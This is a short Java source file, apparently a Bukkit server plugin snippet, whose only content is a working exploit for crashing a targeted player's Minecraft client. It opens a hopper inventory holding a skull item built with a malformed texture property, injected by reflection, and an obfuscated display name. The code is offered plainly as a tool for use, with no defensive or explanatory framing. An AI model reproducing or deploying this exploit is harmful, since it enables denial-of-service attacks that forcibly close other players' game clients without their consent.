Crash a Minecraft client (close its window)

CrashClient.java

package fr.onecraft.client;

import com.mojang.authlib.GameProfile;
import com.mojang.authlib.properties.Property;
import org.bukkit.Bukkit;
import org.bukkit.Material;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryType;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.ItemMeta;

import java.lang.reflect.Field;
import java.util.UUID;

/**
 * Crash a Minecraft client (close its window)
 */
public class CrashClient {
    
    public static void crash(Player p) {
        Inventory inventory = Bukkit.createInventory(null, InventoryType.HOPPER, "§r");
        ItemStack skull = makeInvalidSkull();
        inventory.setItem(2, skull);
        p.openInventory(inventory);
    }

    public static ItemStack makeInvalidSkull() {
        ItemStack skull = new ItemStack(Material.SKULL_ITEM, 0, (short) 3);
        ItemMeta meta = skull.getItemMeta();

        GameProfile profile = new GameProfile(UUID.randomUUID(), null);
        profile.getProperties().put("textures", new Property("textures", "I2ludmFsaWQ="));

        try {
            Field field = meta.getClass().getDeclaredField("profile");
            field.setAccessible(true);
            field.set(meta, profile);
        } catch (NoSuchFieldException | IllegalArgumentException | IllegalAccessException ignored) {}

        meta.setDisplayName("§c§k0");
        skull.setItemMeta(meta);

        return skull;
    }

}